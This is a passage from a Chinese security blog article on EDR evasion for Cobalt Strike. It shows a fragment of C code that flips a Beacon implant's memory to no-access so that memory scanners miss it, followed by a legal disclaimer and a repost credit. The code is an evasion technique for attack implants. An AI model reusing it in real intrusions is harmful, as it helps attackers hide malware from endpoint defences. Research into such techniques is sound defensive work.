printf("Beacon_set_Memory_attributes启动\n");
while (true) {
WaitForSingleObject(hEvent, INFINITE);
printf("设置Beacon内存属性不可执行\n");
VirtualProtect(Beacon_address, Beacon_data_len, PAGE_NOACCESS, &Beacon_Memory_address_flOldProtect);
ResetEvent(hEvent);
}
return 0;
}
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:0xSecurity Wangfly
Wangfly《EDR免杀对抗:CS武器化改造技术实现》